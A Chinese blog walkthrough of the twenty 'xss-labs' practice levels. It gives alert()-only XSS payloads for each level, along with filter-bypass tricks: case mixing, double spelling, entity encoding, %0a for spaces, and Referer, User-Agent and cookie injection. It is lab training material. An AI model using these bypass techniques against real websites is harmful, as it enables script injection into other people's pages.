详细xss labs二十关 新手攻略,内含总结(保姆级教程,看了必会)

第一关

总结:URL传参(JS弹窗函数alert())

name=<script>alert()</script>

1.1、get传参name的值test插入了html里面

第二关

总结:特殊符号被实体转义,URL传参(JS代码,闭合绕过)

"> <script>alert()</script> <"

2.1、可拓展其他解法后面才看到,如下:

onerror属性 插入一个<img>标签,闭合掉双引号跟括号,构造payload

"> <img src='666' οnerrοr=alert()> <"

img标签姿势还很多啊

①当鼠标移出图片的时候执行的属性onmouseout

第三关

总结:引号被实体化,onfocus事件绕过

' οnfοcus=javascript:alert() '

3.1、通过焦点触发myFunction()函数来绕过<>号的过滤

第四关

总结:onfocus事件绕过,构建payload

4.1、这里还是<input>标签,可尝试双引号绕过

" οnfοcus=javascript:alert() "

第五关

总结:闭合符号未失效,<a> href标签法

5.1、可以看见on被替换成了o_n,onfocus事件被过滤

5.2、利用网站触发js代码,从而绕过替换符号

"> <a href=javascript:alert()>xxx</a> <"

第六关

总结:大小写绕过str_replace,三种方法可绕(结尾)

6.1、输入关键词看看过滤了哪些内容,发现能过滤的都给过滤掉了哈哈哈哈哈

o_nfocus <scr_ipt> <a hr_ef=javascript:alert()>

6.2、试试大小写有没有被过滤,发现大小写都没被过滤

OnFocus <sCriPt> <a hReF=javascript:alert()>

6.3、可用三种方法:一传、两触(开始起名了哈哈哈)

方法一:"> <sCript>alert()</sCript> <"

方法二:" Onfocus=javascript:alert() "

方法三:"> <a hRef=javascript:alert()>x</a> <"

第七关

总结:有小写转化,双拼写绕过

7.1、不知怎么解,先验关键字

" OnFocus <sCriPt> <a hReF=javascript:alert()>

我的onfocus事件呢?我的href属性标签呢?都变成了一坨好吧。不难看出,除了过滤了这些,还添加了小写转化。

7.2、所以这题用双拼写,可绕过

"> <a hrehreff=javasscriptcript:alert()>xxx</a> <"

第八关

总结:href属性自动解析Unicode编码

8.1、输入123看看有啥

8.2、老套路,查查过滤了啥,基本上能过滤的都过滤了

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

8.3、利用href的隐藏属性自动Unicode解码,插入一段js伪协议

javascript:alert()

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

在利用在线Unicode编码解码 - 码工具编码工具编码

再插入进href属性中

8.4、点击友情链接

第九关

总结:插入指定内容绕过检测(本关是http://),注释符

9.1、抬起脚,迈开腿

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

怎么说,不给我迈腿?

9.2、试试/* http:// */注释绕过

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

第十关

总结:传参,隐藏的input标签可以插入type="text"显示

10.1、老模式先测关键字

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

被实体化看不了一点

10.2、还是onfocus事件,百用不厌,因为输入框隐藏了,所以用type="text"让他显示出来

?t_sort=" οnfοcus=javascript:alert() type="text"

第十一关

总结:Burp抓包,referer头传参

11.1、通过查看源码可以看到,<input>标签有四个值,都做了隐藏处理,不难看出,第四个<input>标签是http头referer的参数

11.2、我们还是试一下POST传参和GET传参,发现很明显赋不上值

GET传参

?t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

POST传参

t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

传不了一点儿,But其他的漏洞可能就是这两个传参

11.3、利用Burp抓包给referer头传参

Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

发现<>被传没了

11.4、最终还是只能我们的老大哥onfocus事件啊

”what can i see!!!man!“

Referer: " οnfοcus=javascript:alert() type="text

第十二关

总结:User-Agent头,onfocus大哥

12.1、查看网页源代码,发现User-Agent头

12.2、用Burp抓一下包,测试一下User-Agent头

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

好好好,我script大哥就不配拥有<>呗

12.3、直接老大哥onfocus上场

" οnfοcus=javascript:alert() type="text

“man!!!!”

第十三关

总结:onclick小老弟,cookie传参

13.1、查看网页源代码,哥们我直接来感觉,cookie你终究还是没忍住出来了

13.2、返回主页面F12,存储→Cookie修改→值

" οnclick=alert() type="text

13.3、刷新一下,点击输入框,即可成功!

第十四关

总结:查了一下,好像网站挂了,这关算彩蛋哈啊哈哈哈哈

第十五关

总结:ng-include文件包含,可无视html实体化

15.1、查看源代码,陌生的他来了

15.2、试一下能否包含第一关

?src='/level1.php'

你别说,你还真别说,还真行~

15.3、测一下关键词,发现html实体化函数在,没删东西,(注:但是不包括直接弹窗,例如<script>。但是可以用一些手动的标签,例如<a>,<img>)

?src=" ' sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

15.4、利用第一关的钥匙,再用img标签传参

第十六关

总结:回车(%0a)代替空格绕过检测

16.1、查看源码,发现test藏在<center>里面了,可以不用闭合,老套路,测波关键字

?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106;

字母小写化了,再把script替换成空格,最后将空格给实体化,一点办法都没有了,无奈向猴子看齐

16.2、空格被ban用回车(%0a),斜杠/被ban用<img>、<svg>等标签

?keyword=<svg%0Aοnlοad=alert(1)>

第十七关

总结:触发事件

17.1、老规矩,测关键字,被加了html转义了哥们

?arg01=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

17.2构造payload

?arg02= οnclick=alert()

第十八关

总结:触发事件

18.1、查看源码发现跟上关差不多,老规矩测一下过滤啥了

?arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

和上关差不多,html实体化

18.2、直接用事件触发属性

?arg02= οnmοusedοwn=alert()

启用flash就完事了

第十九关

总结:Flash xss

19.1、看了眼源代码直接上payload

?arg02= οnmοuseup=alert()

发现不行

19.2、往Flash里面插一段js代码

第二十关

总结:js代码

20.1关键词没测出来啥,符号都没有,找大佬答案拿过来就是抄,()

?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123

恭喜你!!!!挑战成功!!!!!!

  • 18
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值